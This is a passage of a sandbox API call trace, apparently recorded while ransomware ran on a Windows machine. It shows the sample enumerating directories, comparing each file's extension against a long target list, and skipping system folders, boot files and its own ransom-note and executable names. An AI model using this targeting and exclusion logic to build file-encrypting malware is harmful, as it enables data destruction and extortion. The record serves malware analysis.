lstrlenW (lpString=".c") returned 2 [0195.041] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0195.041] lstrlenW (lpString=".cdr") returned 4 [0195.041] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0195.041] lstrlenW (lpString=".cer") returned 4 [0195.041] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0195.041] lstrlenW (lpString=".cf") returned 3 [0195.041] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0195.041] lstrlenW (lpString=".cfc") returned 4 [0195.041] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0195.041] lstrlenW (lpString=".cfm") returned 4 [0195.041] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0195.041] lstrlenW (lpString=".cfml") returned 5 [0195.041] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0195.041] lstrlenW (lpString=".cfu") returned 4 [0195.041] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0195.041] lstrlenW (lpString=".chm") returned 4 [0195.041] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0195.041] lstrlenW (lpString=".cin") returned 4 [0195.041] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0195.041] lstrlenW (lpString=".class") returned 6 [0195.041] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0195.041] lstrlenW (lpString=".clx") returned 4 [0195.041] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0195.041] lstrlenW (lpString=".config") returned 7 [0195.041] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0195.041] lstrlenW (lpString=".cpp") returned 4 [0195.041] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0195.041] lstrlenW (lpString=".cr2") returned 4 [0195.042] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0195.042] lstrlenW (lpString=".crt") returned 4 [0195.042] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0195.042] lstrlenW (lpString=".crw") returned 4 [0195.042] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0195.042] lstrlenW (lpString=".cs") returned 3 [0195.042] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0195.042] lstrlenW (lpString=".css") returned 4 [0195.042] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0195.042] lstrlenW (lpString=".csv") returned 4 [0195.042] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0195.042] lstrlenW (lpString=".cub") returned 4 [0195.042] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0195.042] lstrlenW (lpString=".dae") returned 4 [0195.042] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0195.042] lstrlenW (lpString=".dat") returned 4 [0195.042] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0195.042] lstrlenW (lpString=".db") returned 3 [0195.042] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0195.042] lstrlenW (lpString=".dbf") returned 4 [0195.042] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0195.042] lstrlenW (lpString=".dbx") returned 4 [0195.042] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0195.042] lstrlenW (lpString=".dc3") returned 4 [0195.042] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0195.042] lstrlenW (lpString=".dcm") returned 4 [0195.042] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0195.042] lstrlenW (lpString=".dcr") returned 4 [0195.042] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0195.042] lstrlenW (lpString=".der") returned 4 [0195.042] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0195.043] lstrlenW (lpString=".dib") returned 4 [0195.043] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0195.043] lstrlenW (lpString=".dic") returned 4 [0195.043] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0195.043] lstrlenW (lpString=".dif") returned 4 [0195.043] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0195.043] lstrlenW (lpString=".divx") returned 5 [0195.043] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0195.043] lstrlenW (lpString=".djvu") returned 5 [0195.043] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0195.043] lstrlenW (lpString=".dng") returned 4 [0195.043] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0195.043] lstrlenW (lpString=".doc") returned 4 [0195.043] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0195.043] lstrlenW (lpString=".docm") returned 5 [0195.043] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0195.043] lstrlenW (lpString=".docx") returned 5 [0195.043] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0195.043] lstrlenW (lpString=".dot") returned 4 [0195.043] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0195.043] lstrlenW (lpString=".dotm") returned 5 [0195.043] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0195.043] lstrlenW (lpString=".dotx") returned 5 [0195.043] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0195.043] lstrlenW (lpString=".dpx") returned 4 [0195.043] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0195.043] lstrlenW (lpString=".dqy") returned 4 [0195.043] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0195.044] lstrlenW (lpString=".dsn") returned 4 [0195.044] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0195.044] lstrlenW (lpString=".dt") returned 3 [0195.044] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0195.044] lstrlenW (lpString=".dtd") returned 4 [0195.044] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0195.044] lstrlenW (lpString=".dwg") returned 4 [0195.044] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0195.044] lstrlenW (lpString=".dwt") returned 4 [0195.044] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0195.044] lstrlenW (lpString=".dx") returned 3 [0195.044] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0195.044] lstrlenW (lpString=".dxf") returned 4 [0195.044] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0195.044] lstrlenW (lpString=".edml") returned 5 [0195.044] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0195.044] lstrlenW (lpString=".efd") returned 4 [0195.044] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0195.044] lstrlenW (lpString=".elf") returned 4 [0195.044] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0195.044] lstrlenW (lpString=".emf") returned 4 [0195.044] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0195.044] lstrlenW (lpString=".emz") returned 4 [0195.044] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0195.044] lstrlenW (lpString=".epf") returned 4 [0195.044] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0195.044] lstrlenW (lpString=".eps") returned 4 [0195.044] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0195.045] lstrlenW (lpString=".epsf") returned 5 [0195.045] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0195.045] lstrlenW (lpString=".epsp") returned 5 [0195.045] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0195.045] lstrlenW (lpString=".erf") returned 4 [0195.045] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0195.045] lstrlenW (lpString=".exr") returned 4 [0195.045] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0195.045] lstrlenW (lpString=".f4v") returned 4 [0195.045] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0195.045] lstrlenW (lpString=".fido") returned 5 [0195.045] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0195.045] lstrlenW (lpString=".flm") returned 4 [0195.045] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0195.045] lstrlenW (lpString=".flv") returned 4 [0195.045] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0195.045] lstrlenW (lpString=".frm") returned 4 [0195.045] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0195.045] lstrlenW (lpString=".fxg") returned 4 [0195.045] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0195.045] lstrlenW (lpString=".geo") returned 4 [0195.045] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0195.045] lstrlenW (lpString=".gif") returned 4 [0195.045] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0195.045] lstrlenW (lpString=".grs") returned 4 [0195.045] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0195.045] lstrlenW (lpString=".gz") returned 3 [0195.045] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0195.045] lstrlenW (lpString=".h") returned 2 [0195.045] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0195.045] lstrlenW (lpString=".hdr") returned 4 [0195.045] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0195.046] lstrlenW (lpString=".hpp") returned 4 [0195.046] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0195.046] lstrlenW (lpString=".hta") returned 4 [0195.046] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0195.046] lstrlenW (lpString=".htc") returned 4 [0195.046] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0195.046] lstrlenW (lpString=".htm") returned 4 [0195.046] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0195.046] lstrlenW (lpString=".html") returned 5 [0195.046] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0195.046] lstrlenW (lpString=".icb") returned 4 [0195.046] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0195.046] lstrlenW (lpString=".ics") returned 4 [0195.046] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0195.046] lstrlenW (lpString=".iff") returned 4 [0195.046] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0195.046] lstrlenW (lpString=".inc") returned 4 [0195.046] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0195.046] lstrlenW (lpString=".indd") returned 5 [0195.046] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0195.046] lstrlenW (lpString=".ini") returned 4 [0195.046] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0195.046] lstrlenW (lpString="desktop.ini") returned 11 [0195.046] lstrlenW (lpString=".aa1") returned 4 [0195.046] lstrcmpiW (lpString1=".aa1", lpString2=".ini") returned -1 [0195.046] lstrlenW (lpString="desktop.ini") returned 11 [0195.046] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0195.046] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0195.046] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0195.046] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0195.046] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0195.046] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0195.046] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0195.046] lstrcmpiW (lpString1="qnuriy.exe", lpString2="desktop.ini") returned 1 [0195.046] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0195.046] FindNextFileW (in: hFindFile=0x541070, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0195.047] FindClose (in: hFindFile=0x541070 | out: hFindFile=0x541070) returned 1 [0195.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.048] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0195.048] FindClose (in: hFindFile=0x541030 | out: hFindFile=0x541030) returned 1 [0195.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38f06c8 | out: hHeap=0x4f0000) returned 1 [0195.048] FindNextFileW (in: hFindFile=0x53bff8, lpFindFileData=0x33dfd00 | out: lpFindFileData=0x33dfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0195.048] lstrlenW (lpString="C:\\Boot") returned 7 [0195.048] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0195.048] lstrlenW (lpString="Boot") returned 4 [0195.048] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0195.048] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38f06c8 [0195.048] lstrlenW (lpString="C:\\Boot") returned 7 [0195.048] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x541030 [0195.049] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.049] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0195.049] lstrlenW (lpString="BCD") returned 3 [0195.049] lstrlenW (lpString=".1cd") returned 4 [0195.049] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0195.049] lstrlenW (lpString=".3ds") returned 4 [0195.049] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0195.049] lstrlenW (lpString=".3fr") returned 4 [0195.049] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0195.049] lstrlenW (lpString=".3g2") returned 4 [0195.049] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0195.049] lstrlenW (lpString=".3gp") returned 4 [0195.049] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0195.049] lstrlenW (lpString=".7z") returned 3 [0195.049] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0195.049] lstrlenW (lpString=".accda") returned 6 [0195.049] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0195.049] lstrlenW (lpString=".accdb") returned 6 [0195.049] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0195.049] lstrlenW (lpString=".accdc") returned 6 [0195.049] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0195.049] lstrlenW (lpString=".accde") returned 6 [0195.049] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0195.049] lstrlenW (lpString=".accdt") returned 6 [0195.049] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0195.050] lstrlenW (lpString=".accdw") returned 6 [0195.050] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0195.050] lstrlenW (lpString=".adb") returned 4 [0195.050] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0195.050] lstrlenW (lpString=".adp") returned 4 [0195.050] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0195.050] lstrlenW (lpString=".ai") returned 3 [0195.050] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0195.050] lstrlenW (lpString=".ai3") returned 4 [0195.050] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0195.050] lstrlenW (lpString=".ai4") returned 4 [0195.050] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0195.050] lstrlenW (lpString=".ai5") returned 4 [0195.050] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0195.050] lstrlenW (lpString=".ai6") returned 4 [0195.050] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0195.050] lstrlenW (lpString=".ai7") returned 4 [0195.050] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0195.050] lstrlenW (lpString=".ai8") returned 4 [0195.050] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0195.050] lstrlenW (lpString=".anim") returned 5 [0195.050] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0195.050] lstrlenW (lpString=".arw") returned 4 [0195.050] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0195.050] lstrlenW (lpString=".as") returned 3 [0195.050] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0195.050] lstrlenW (lpString=".asa") returned 4 [0195.050] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0195.050] lstrlenW (lpString=".asc") returned 4 [0195.050] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0195.050] lstrlenW (lpString=".ascx") returned 5 [0195.050] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0195.051] lstrlenW (lpString=".asm") returned 4 [0195.051] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0195.051] lstrlenW (lpString=".asmx") returned 5 [0195.051] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0195.051] lstrlenW (lpString=".asp") returned 4 [0195.051] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0195.051] lstrlenW (lpString=".aspx") returned 5 [0195.051] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0195.051] lstrlenW (lpString=".asr") returned 4 [0195.051] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0195.051] lstrlenW (lpString=".asx") returned 4 [0195.051] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0195.051] lstrlenW (lpString=".avi") returned 4 [0195.051] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0195.051] lstrlenW (lpString=".avs") returned 4 [0195.051] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0195.051] lstrlenW (lpString=".backup") returned 7 [0195.051] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0195.051] lstrlenW (lpString=".bak") returned 4 [0195.051] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0195.051] lstrlenW (lpString=".bay") returned 4 [0195.051] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0195.051] lstrlenW (lpString=".bd") returned 3 [0195.051] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0195.051] lstrlenW (lpString=".bin") returned 4 [0195.051] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0195.051] lstrlenW (lpString=".bmp") returned 4 [0195.051] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0195.051] lstrlenW (lpString=".bz2") returned 4 [0195.051] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0195.051] lstrlenW (lpString=".c") returned 2 [0195.051] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0195.051] lstrlenW (lpString=".cdr") returned 4 [0195.052] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0195.052] lstrlenW (lpString=".cer") returned 4 [0195.052] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0195.052] lstrlenW (lpString=".cf") returned 3 [0195.052] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0195.052] lstrlenW (lpString=".cfc") returned 4 [0195.052] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0195.052] lstrlenW (lpString=".cfm") returned 4 [0195.052] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0195.052] lstrlenW (lpString=".cfml") returned 5 [0195.052] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0195.052] lstrlenW (lpString=".cfu") returned 4 [0195.052] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0195.052] lstrlenW (lpString=".chm") returned 4 [0195.052] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0195.052] lstrlenW (lpString=".cin") returned 4 [0195.052] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0195.052] lstrlenW (lpString=".class") returned 6 [0195.052] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0195.052] lstrlenW (lpString=".clx") returned 4 [0195.052] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0195.052] lstrlenW (lpString=".config") returned 7 [0195.052] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0195.052] lstrlenW (lpString=".cpp") returned 4 [0195.052] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0195.052] lstrlenW (lpString=".cr2") returned 4 [0195.052] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0195.052] lstrlenW (lpString=".crt") returned 4 [0195.052] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0195.052] lstrlenW (lpString=".crw") returned 4 [0195.052] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0195.052] lstrlenW (lpString=".cs") returned 3 [0195.052] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0195.052] lstrlenW (lpString=".css") returned 4 [0195.052] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0195.053] lstrlenW (lpString=".csv") returned 4 [0195.053] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0195.053] lstrlenW (lpString=".cub") returned 4 [0195.053] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0195.053] lstrlenW (lpString=".dae") returned 4 [0195.053] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0195.053] lstrlenW (lpString=".dat") returned 4 [0195.053] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0195.053] lstrlenW (lpString=".db") returned 3 [0195.053] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0195.053] lstrlenW (lpString=".dbf") returned 4 [0195.053] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0195.053] lstrlenW (lpString=".dbx") returned 4 [0195.053] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0195.053] lstrlenW (lpString=".dc3") returned 4 [0195.053] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0195.053] lstrlenW (lpString=".dcm") returned 4 [0195.053] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0195.053] lstrlenW (lpString=".dcr") returned 4 [0195.053] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0195.053] lstrlenW (lpString=".der") returned 4 [0195.053] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0195.053] lstrlenW (lpString=".dib") returned 4 [0195.053] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0195.053] lstrlenW (lpString=".dic") returned 4 [0195.053] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0195.053] lstrlenW (lpString=".dif") returned 4 [0195.053] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0195.054] lstrlenW (lpString=".divx") returned 5 [0195.054] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0195.054] lstrlenW (lpString=".djvu") returned 5 [0195.054] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0195.054] lstrlenW (lpString=".dng") returned 4 [0195.054] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0195.054] lstrlenW (lpString=".doc") returned 4 [0195.054] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0195.054] lstrlenW (lpString=".docm") returned 5 [0195.054] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0195.054] lstrlenW (lpString=".docx") returned 5 [0195.054] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0195.054] lstrlenW (lpString=".dot") returned 4 [0195.054] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0195.054] lstrlenW (lpString=".dotm") returned 5 [0195.054] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0195.054] lstrlenW (lpString=".dotx") returned 5 [0195.054] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0195.054] lstrlenW (lpString=".dpx") returned 4 [0195.054] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0195.054] lstrlenW (lpString=".dqy") returned 4 [0195.054] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0195.054] lstrlenW (lpString=".dsn") returned 4 [0195.054] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0195.054] lstrlenW (lpString=".dt") returned 3 [0195.054] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0195.055] lstrlenW (lpString=".dtd") returned 4 [0195.055] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0195.055] lstrlenW (lpString=".dwg") returned 4 [0195.055] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0195.055] lstrlenW (lpString=".dwt") returned 4 [0195.055] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0195.055] lstrlenW (lpString=".dx") returned 3 [0195.055] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0195.055] lstrlenW (lpString=".dxf") returned 4 [0195.055] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0195.055] lstrlenW (lpString=".edml") returned 5 [0195.055] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0195.055] lstrlenW (lpString=".efd") returned 4 [0195.055] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0195.055] lstrlenW (lpString=".elf") returned 4 [0195.055] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0195.055] lstrlenW (lpString=".emf") returned 4 [0195.055] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0195.055] lstrlenW (lpString=".emz") returned 4 [0195.055] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0195.055] lstrlenW (lpString=".epf") returned 4 [0195.055] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0195.055] lstrlenW (lpString=".eps") returned 4 [0195.055] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0195.055] lstrlenW (lpString=".epsf") returned 5 [0195.055] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0195.055] lstrlenW (lpString=".epsp") returned 5 [0195.055] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0195.055] lstrlenW (lpString=".erf") returned 4 [0195.056] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0195.056] lstrlenW (lpString=".exr") returned 4 [0195.056] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0195.056] lstrlenW (lpString=".f4v") returned 4 [0195.056] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0195.056] lstrlenW (lpString=".fido") returned 5 [0195.056] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0195.056] 